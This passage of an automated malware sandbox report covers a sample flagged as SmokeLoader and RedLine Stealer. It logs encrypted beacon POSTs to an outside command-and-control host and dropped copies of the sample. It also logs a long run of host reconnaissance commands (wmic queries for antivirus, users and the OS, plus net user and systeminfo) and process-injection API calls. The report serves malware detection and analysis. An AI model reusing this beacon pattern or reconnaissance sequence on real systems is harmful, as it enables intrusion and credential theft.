2024-10-08 01:17:34 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://qdnfexfeugqvww.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: ninjahallnews.com
2024-10-08 01:17:34 UTC	109	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: rmh9/2p6 )6IP g3iqH[CLk4%<2eQvb%;=j ,
2024-10-08 01:17:34 UTC	285	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 01:17:34 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-08 01:17:34 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50067	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 01:17:51 UTC	285	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://hoxyxvpdayru.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: ninjahallnews.com
2024-10-08 01:17:51 UTC	109	OUT	Data Raw: 72 19 83 cf 8b 06 16 8e 6d 81 e8 68 39 f0 18 2f d1 f2 b9 a2 17 0a 32 f3 70 07 c7 95 ea d5 36 ef 0f 9c b9 84 06 fd db 86 f3 0f d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: rmh9/2p6 )6IP g3iqH[CLk4%<2eQvb%;=j ,
2024-10-08 01:17:52 UTC	285	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 01:17:52 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-08 01:17:52 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Target ID:	0
Start time:	21:13:53
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\ctMI3TYXpX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ctMI3TYXpX.exe"
Imagebase:	0x400000
File size:	454'144 bytes
MD5 hash:	A27775738FAFF754DCF5C3E8E42B9838
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1726159167.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1726254840.00000000004F1000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1726176567.00000000004C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1726176567.00000000004C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1726400088.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1726400088.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:13:59
Start date:	07/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	21:14:19
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\jghruer
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jghruer
Imagebase:	0x400000
File size:	454'144 bytes
MD5 hash:	A27775738FAFF754DCF5C3E8E42B9838
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.1977011876.0000000000581000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.1977659662.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.1977659662.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000005.00000002.1976888383.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.1976909715.0000000000540000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.1976909715.0000000000540000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:14:55
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\35DB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\35DB.exe
Imagebase:	0x400000
File size:	453'632 bytes
MD5 hash:	366910063EF4A518B6ADF6D28C7B2C69
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000006.00000002.2327173692.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000002.2327201404.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000006.00000002.2327201404.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000002.2327352814.0000000000731000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000006.00000002.2327352814.0000000000731000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000006.00000002.2327481392.0000000000771000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:15:19
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\hdhruer
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hdhruer
Imagebase:	0x400000
File size:	453'632 bytes
MD5 hash:	366910063EF4A518B6ADF6D28C7B2C69
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000008.00000002.2574353685.00000000004A0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000008.00000002.2576258561.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000008.00000002.2576258561.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000008.00000002.2576079643.0000000001FA0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000008.00000002.2576150006.0000000001FB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000008.00000002.2576150006.0000000001FB0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:15:34
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\B972.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\B972.exe
Imagebase:	0x7ff6f2d60000
File size:	78'336 bytes
MD5 hash:	65AEAA0A0849CB3CE9BC15BCBF0B7B9F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:15:34
Start date:	07/10/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff75b410000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	21:15:36
Start date:	07/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd
Imagebase:	0x7ff76e480000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	21:15:36
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	21:15:37
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x7ff70f330000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:15:37
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv
Imagebase:	0x7ff6bda00000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:15:38
Start date:	07/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:15:39
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x150000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	21:15:39
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv
Imagebase:	0x7ff6bda00000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	21:15:40
Start date:	07/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 00000012.00000002.4123114957.0000000000771000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	21:15:41
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x150000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	21:15:41
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv
Imagebase:	0x7ff72bec0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	21:15:42
Start date:	07/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	21:15:43
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv
Imagebase:	0x7ff6bda00000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	21:15:46
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv
Imagebase:	0x7ff6bda00000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:15:49
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv
Imagebase:	0x7ff6bda00000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	21:15:51
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv
Imagebase:	0x7ff6bda00000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	21:15:53
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv
Imagebase:	0x7ff6bda00000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	21:15:55
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv
Imagebase:	0x7ff6bda00000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	21:16:01
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv
Imagebase:	0x7ff6bda00000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	21:16:04
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv
Imagebase:	0x7ff6bda00000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	21:16:08
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv
Imagebase:	0x7ff6bda00000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	21:16:11
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv
Imagebase:	0x7ff6bda00000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	21:16:15
Start date:	07/10/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv
Imagebase:	0x7ff6bda00000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	21:16:17
Start date:	07/10/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /displaydns
Imagebase:	0x7ff7a16e0000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	21:16:19
Start date:	07/10/2024
Path:	C:\Windows\System32\ROUTE.EXE
Wow64 process (32bit):	false
Commandline:	route print
Imagebase:	0x7ff7f10e0000
File size:	24'576 bytes
MD5 hash:	3C97E63423E527BA8381E81CBA00B8CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	21:16:19
Start date:	07/10/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh firewall show state
Imagebase:	0x7ff621560000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	21:16:20
Start date:	07/10/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff7d2e90000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	21:16:23
Start date:	07/10/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /v /fo csv
Imagebase:	0x7ff6bc140000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	21:16:55
Start date:	07/10/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net accounts /domain
Imagebase:	0x7ff75bf80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	21:16:55
Start date:	07/10/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 accounts /domain
Imagebase:	0x7ff620e40000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	21:16:56
Start date:	07/10/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net share
Imagebase:	0x7ff75bf80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	21:16:56
Start date:	07/10/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 share
Imagebase:	0x7ff620e40000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	21:16:58
Start date:	07/10/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net user
Imagebase:	0x7ff75bf80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	42.6%
Signature Coverage:	43.4%
Total number of Nodes:	122
Total number of Limit Nodes:	4

Executed Functions

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 201
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction ID: b77a8bcfde574781322ebaec397cd5e92af5eb717990e6e7793f83a32abcc97b
Opcode Fuzzy Hash: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction Fuzzy Hash: 24615E71900244FBEB209F95CC49FAF7BB8EF85700F20412AF912BA1E5D6749A01DB69

Function 004014FE Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.1725946356.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ctMI3TYXpX.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction ID: 0ec8d6d4108695f7377ece7931361284e20275783593a2318d747dbe857377b0
Opcode Fuzzy Hash: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction Fuzzy Hash: 6A5129B5900209BFEB209F95CC48FEF7BB9EF85710F14412AF912BA2A5D6749901CB24

Function 00401542 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

